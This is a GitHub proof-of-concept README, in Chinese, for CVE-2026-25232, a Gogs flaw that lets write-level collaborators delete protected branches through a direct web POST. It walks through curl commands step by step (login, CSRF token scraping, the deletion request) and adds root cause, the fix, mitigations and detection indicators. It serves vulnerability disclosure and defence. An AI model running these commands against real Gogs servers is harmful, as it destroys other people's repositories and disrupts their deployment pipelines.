H1sok444/CVE-2026-25232-PoC
GitHub: H1sok444/CVE-2026-25232-PoC
该工具是 CVE-2026-25232 的概念验证,利用 Gogs 网页接口授权缺失实现权限提升。
Stars: 0 | Forks: 0
# CVE-2026-25232 — Gogs 受保护分支删除绕过(写权限 → 管理员权限提升)
## 概述
| 字段 | 说明 |
|---|---|
| **CVE** | CVE-2026-25232 |
| **产品** | Gogs (Go Git Service) |
| **受影响版本** | <= 0.13.4 |
| **修复版本** | 0.14.1 |
| **CVSS 评分** | 中危 |
| **CWE** | CWE-863:错误的授权 |
| **需要身份验证** | 是(在仓库上拥有写权限) |
| **影响** | 从写权限到管理员级别操作的身份权限提升 |
## 描述
CVE-2026-25232 是 Gogs 网页界面中的一个访问控制绕过漏洞。它允许任何拥有 **写** 权限的仓库协作者,通过直接向 `DeleteBranchPost` 端点发送 POST 请求来删除受保护的分支(包括默认分支),完全绕过了分支保护机制。
根本原因在于 Git 钩子层与网页界面在执行分支保护时的逻辑不一致:
- **Git 钩子(SSH):** 正确阻止通过 SSH 推送操作删除受保护分支
- **网页界面:** `DeleteBranchPost` 函数 **不会** 触发 Git 钩子,因此保护检查从未执行
这使得低权限协作者能够执行本应仅限于仓库管理员的操作。
## 先决条件
- 已注册的 Gogs 账户
- 在目标仓库上拥有写权限
- 目标仓库已配置受保护分支
- 可访问 Gogs 网页界面
## 概念验证
### 环境
- **目标:** `http://:3001`
- **攻击者账户:** `attacker:Password123!`(在仓库上拥有写权限)
- **目标仓库:** `admin/important-repo`
- **受保护分支:** `main`(默认分支)
### 步骤 1 — 验证分支保护已启用
确认分支受到保护且无法通过常规方式删除:
```
# 尝试通过 API 正常删除分支 - 这应该会失败
curl -s -X DELETE 'http://:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
```
预期响应:`403 Forbidden` 或保护错误。
### 步骤 2 — 获取有效的 CSRF 令牌
从任意已认证页面获取 CSRF 令牌:
```
curl -s -c cookies.txt -b cookies.txt \
'http://:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# 从仓库页面提取 CSRF 令牌
curl -s -c cookies.txt -b cookies.txt \
'http://:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
```
### 步骤 3 — 通过直接 POST 到 DeleteBranchPost 绕过保护
向分支删除端点发送直接 POST 请求,绕过保护检查:
```
curl -s -X POST 'http://:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=&name=main'
```
尽管攻击者仅拥有写权限,受保护的分支仍被删除。
### 步骤 4 — 验证删除
```
curl -s 'http://:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
```
`main` 分支将不再出现在响应中。
## 为什么有效
Gogs 网页处理程序中的 `DeleteBranchPost` 函数仅验证用户已认证且对仓库拥有写权限,但 **未检查** 目标分支是否受保护:
```
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
Check: Is user authenticated? ✓
Check: Does user have Write access? ✓
Check: Is branch protected? ✗ (MISSING)
↓
Branch deleted successfully
```
Git 钩子层仅在通过 SSH 或 HTTP Git 协议执行推送/删除操作时才会触发分支保护——而网页界面操作不会触发此机制。这一架构缺口意味着任何写级别的协作者都可以执行此操作。
## 影响
拥有写权限的恶意协作者可以:
- 删除任何受保护的分支,包括默认分支
- 破坏仓库的主要开发线
- 中断依赖受保护分支的 CI/CD 流水线
- 强制推送或重新创建分支以绕过保护,将代码注入生产流水线
- 从写权限提升至管理员级别的分支管理权限
在 Gogs 仓库接入自动化部署流水线的环境中,这可能导致供应链 compromise。
## 修复
升级到 Gogs **v0.14.1** 或更高版本。该修复在 `DeleteBranchPost` 函数中增加了适当的授权检查,在允许删除前验证分支保护状态,无论请求如何发起。
作为临时缓解措施:
- 限制仓库写权限仅授予高度可信用户
- 实施网络层访问控制,限制谁能访问 Gogs 网页界面
- 监控网页服务器日志中针对 `/repos/{owner}/{repo}/branches/delete` 的意外 POST 请求
- 使用外部备份方案保留受保护分支的副本
## 检测
查找以下入侵指标:
- 向 `///branches/delete` 发送的意外 POST 请求(出现在网页服务器日志中)
- 受保护分支在无对应 Git 钩子活动的情况下被删除
- 不具备管理员权限的用户执行分支删除事件
- 默认分支意外缺失或变更
## 参考
- [GitHub 安全公告 GHSA-2c6v-8r3v-gh6p](https://github.com/gogs/gogs/security/advisories)
- [Gogs v0.14.1 版本发布](https://github.com/gogs/gogs/releases/tag/v0.14.1)
- [CWE-863:错误的授权](https://cwe.mitre.org/data/definitions/863.html)
## 免责声明
本概念验证仅用于教育目的和授权安全测试。请勿在未获得明确许可的系统上使用。
标签:Admin权限, API漏洞, CVE-2026-25232, CWE-863, Git, Gogs, PoC, Web接口, Write权限, 分支保护, 删除保护分支, 授权缺陷, 日志审计, 暴力破解, 权限绕过, 漏洞, 特权提升, 网络安全研究, 自动化部署, 访问控制绕过